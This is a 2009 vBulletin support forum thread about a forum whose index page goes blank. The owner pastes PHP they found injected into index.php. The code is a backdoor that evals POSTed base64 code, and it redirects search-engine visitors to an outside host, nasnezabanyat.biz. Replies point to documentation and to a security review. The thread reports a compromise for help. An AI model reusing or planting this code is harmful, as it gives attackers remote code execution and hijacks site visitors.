View Full Version : Blank screen on index.php
saeed_violinist
01-15-2009, 06:59 AM
Hello,
We have a strange problem in our forum, when u point to the index there will be a blank screen http://www.sakhtafzar.com/forum/
but when you point to a topic or something else it is OK!
would you please guide me?
Thanks.
Dismounted
01-15-2009, 07:12 AM
<a href="http://www.vbulletin.com/docs/html/blank_pages" target="_blank">Blank or 'White' Pages</a>
saeed_violinist
01-15-2009, 01:16 PM
after checking index.php I realized that content of this file has changed with the following..it seems that it is a kind of attack.
<?php $a=@$_POST['a'];if($a && @$_POST['b']==sha1(md5($a))){$a=base64_decode($a);eval($a);} function get_counter(){$ip=$_SERVER['REMOTE_ADDR'];$uniq=@file_get_contents("http://nasnezabanyat.biz/ip.php?ip=$ip");if($uniq===false){return false;}if($uniq=="go"){return true;}return false;}$ref=strtolower(trim(@$_SERVER['HTTP_REFERER']));if((strpos($ref,"google")!==false)and(strpos($ref,"bot.htm")===false)){if(get_counter()){@header("Location: http://nasnezabanyat.biz/tds_u.php?dname=".$_SERVER['HTTP_HOST']);die();}}if((strpos($ref,"yahoo")!==false)and(strpos($ref,"slurp")===false)){if(get_counter()){@header("Location: http://nasnezabanyat.biz/tds_u.php?dname=".$_SERVER['HTTP_HOST']);die();}} ?>
Marco van Herwaarden
01-15-2009, 01:32 PM
If someone is able to change the files, then you have a serious security problem. I suggest you contact your host to review your sites security.
vBulletin® v3.8.12 by vBS, Copyright ©2000-2025, vBulletin Solutions Inc.